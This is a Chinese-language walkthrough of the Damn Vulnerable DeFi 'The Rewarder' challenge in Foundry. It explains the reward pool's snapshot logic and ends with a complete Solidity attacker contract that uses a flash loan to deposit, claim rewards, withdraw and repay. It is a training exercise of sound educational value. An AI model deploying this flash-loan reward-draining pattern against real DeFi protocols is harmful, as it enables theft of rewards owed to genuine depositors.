Challenge 4 - The Rewarder
为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
合约
本题涉及的合约比较多,首先介绍ERC20Snapshot合约
ERC20Snapshot:继承自ERC20,通过SnapshotId可以追溯到每一个快照时间点的账户余额和总供应量,在ERC20 token的transfer之前会通过beforeTransfer来更新当前快照ID下的账号余额和总供应,通常用作分红、投票、空投等快照场景

这道题目中主要由RewardToken、AccountingToken、LiquidityToken和TheRewarderPool组成,它们的关系如下:
- TheRewarderPool对外提供deposit和withdraw方法
- deposit:用户存入liquidityToken,mint对应份额的AccountingToken,根据当前的快照轮次mint出一定数目的rewardToken,每5天一个新的快照轮次
- withdraw:burn对应份额的AccountingToken,将用户存入的liquidityToken转移给用户

除此之外,本题还提供一个闪电贷合约,可用于通过闪电贷借出liquidityToken
测试
- 创建alice bob charlie david四名用户,记录为users
- 部署LiquidityToken FlashLoanerPool 合约,向FlashLoanerPool中转入liquidityToken 数目为:TOKENS_IN_LENDER_POOL
- 部署 TheRewarderPool (连带部署RewardToken AccountingToken)
- 遍历users数组,向每个用户都转入一定数目的liquidityToken,并deposit到TheRewarderPool,此时轮次为1
- 将区块时间戳向后延长5天,再次遍历user数组,依次触发distributeRewards,每个用户都等分到rewardToken,此时轮次为2
- 执行攻击脚本
- 期望当前轮次为3,遍历users数组,触发distributeRewards,每个用户分到的rewardToken少于原来的1/4
- 期望player的rewardToken余额大于0
- 期望player的liquidityToken数目为0,FlashLoanerPool中的liquidityToken数目不变
题解
假设没有任何额外的用户操作,在下一轮次分配奖励的时候,users数组中的四位用户将会继续评分奖励,每个用户分到的rewardToken为总数的1/4
为了达到测试脚本的期望值,需要player参与rewardToken的分配,可以通过闪电贷借出liquidityToken,deposit到TheRewarderPool,此时可以触发新一轮的rewardToken分配,再通过withdraw赎回liquidityToken并返还给FlashLoanerPool
攻击合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {TheRewarderPool, RewardToken} from "../../src/the-rewarder/TheRewarderPool.sol";
import "../../src/the-rewarder/FlashLoanerPool.sol";
import "../../src/DamnValuableToken.sol";
contract Attacker {
FlashLoanerPool flashloan;
TheRewarderPool pool;
DamnValuableToken dvt;
RewardToken reward;
address internal owner;
constructor(address _flashloan,address _pool,address _dvt,address _reward){
flashloan = FlashLoanerPool(_flashloan);
pool = TheRewarderPool(_pool);
dvt = DamnValuableToken(_dvt);
reward = RewardToken(_reward);
owner = msg.sender;
}
function attack(uint256 amount) external {
flashloan.flashLoan(amount);
}
function receiveFlashLoan(uint256 amount) external{
dvt.approve(address(pool), amount);
// deposit liquidity token get reward token
pool.deposit(amount);
// withdraw liquidity token
pool.withdraw(amount);
// repay to flashloan
dvt.transfer(address(flashloan), amount);
reward.transfer(owner, reward.balanceOf(address(this)));
}
}